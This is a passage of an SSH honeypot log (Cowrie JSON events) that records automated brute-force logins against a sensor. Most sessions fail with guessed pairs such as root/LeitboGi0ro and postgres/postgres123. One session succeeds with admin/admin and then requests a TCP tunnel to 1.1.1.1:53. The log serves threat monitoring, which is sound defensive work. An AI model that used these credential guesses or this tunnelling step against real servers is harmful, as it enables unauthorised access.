0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:37.941515Z","src_ip":"45.153.34.114","session":"69651258772d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:38.216014Z","src_ip":"45.153.34.114","session":"69651258772d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:39.390612Z","src_ip":"45.153.34.114","session":"69651258772d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42644,"dst_ip":"159.203.135.109","dst_port":22,"session":"2113acdf2a82","protocol":"ssh","message":"New connection: 45.153.34.114:42644 (159.203.135.109:22) [session: 2113acdf2a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:45.979402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:46.018181Z","src_ip":"45.153.34.114","session":"2113acdf2a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:46.071357Z","src_ip":"45.153.34.114","session":"2113acdf2a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:46.407807Z","src_ip":"45.153.34.114","session":"2113acdf2a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:47.498665Z","src_ip":"45.153.34.114","session":"2113acdf2a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46554,"dst_ip":"159.203.135.109","dst_port":22,"session":"563fb383f02c","protocol":"ssh","message":"New connection: 45.153.34.114:46554 (159.203.135.109:22) [session: 563fb383f02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:53.892355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:53.896845Z","src_ip":"45.153.34.114","session":"563fb383f02c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:53.979633Z","src_ip":"45.153.34.114","session":"563fb383f02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:54.358354Z","src_ip":"45.153.34.114","session":"563fb383f02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:57:55.445377Z","src_ip":"45.153.34.114","session":"563fb383f02c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35016,"dst_ip":"159.203.135.109","dst_port":22,"session":"269393cab758","protocol":"ssh","message":"New connection: 45.153.34.114:35016 (159.203.135.109:22) [session: 269393cab758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:02.446476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:02.466183Z","src_ip":"45.153.34.114","session":"269393cab758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:02.533921Z","src_ip":"45.153.34.114","session":"269393cab758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:02.883049Z","src_ip":"45.153.34.114","session":"269393cab758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:03.983307Z","src_ip":"45.153.34.114","session":"269393cab758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47280,"dst_ip":"159.203.135.109","dst_port":22,"session":"42ffeeb58a0e","protocol":"ssh","message":"New connection: 45.153.34.114:47280 (159.203.135.109:22) [session: 42ffeeb58a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:10.880866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:10.885272Z","src_ip":"45.153.34.114","session":"42ffeeb58a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:10.974293Z","src_ip":"45.153.34.114","session":"42ffeeb58a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:11.228367Z","src_ip":"45.153.34.114","session":"42ffeeb58a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:12.318135Z","src_ip":"45.153.34.114","session":"42ffeeb58a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47282,"dst_ip":"159.203.135.109","dst_port":22,"session":"49b29de5be07","protocol":"ssh","message":"New connection: 45.153.34.114:47282 (159.203.135.109:22) [session: 49b29de5be07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:19.036725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:19.042225Z","src_ip":"45.153.34.114","session":"49b29de5be07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:19.132435Z","src_ip":"45.153.34.114","session":"49b29de5be07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:19.394418Z","src_ip":"45.153.34.114","session":"49b29de5be07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:20.637683Z","src_ip":"45.153.34.114","session":"49b29de5be07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60522,"dst_ip":"159.203.135.109","dst_port":22,"session":"becf9ab4d8c7","protocol":"ssh","message":"New connection: 45.153.34.114:60522 (159.203.135.109:22) [session: becf9ab4d8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:27.260434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:27.264887Z","src_ip":"45.153.34.114","session":"becf9ab4d8c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:27.358765Z","src_ip":"45.153.34.114","session":"becf9ab4d8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:27.657509Z","src_ip":"45.153.34.114","session":"becf9ab4d8c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:28.760579Z","src_ip":"45.153.34.114","session":"becf9ab4d8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45984,"dst_ip":"159.203.135.109","dst_port":22,"session":"1226770464a8","protocol":"ssh","message":"New connection: 45.153.34.114:45984 (159.203.135.109:22) [session: 1226770464a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:35.669682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:35.678859Z","src_ip":"45.153.34.114","session":"1226770464a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:35.763828Z","src_ip":"45.153.34.114","session":"1226770464a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:36.021166Z","src_ip":"45.153.34.114","session":"1226770464a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:37.113882Z","src_ip":"45.153.34.114","session":"1226770464a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43404,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab2633f0290","protocol":"ssh","message":"New connection: 87.251.64.176:43404 (10.17.0.5:22) [session: aab2633f0290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:42.130514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:42.135439Z","src_ip":"87.251.64.176","session":"aab2633f0290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:42.231800Z","src_ip":"87.251.64.176","session":"aab2633f0290","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:42.521218Z","src_ip":"87.251.64.176","session":"aab2633f0290","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:58:42.619446Z","session":"aab2633f0290","protocol":"ssh"}
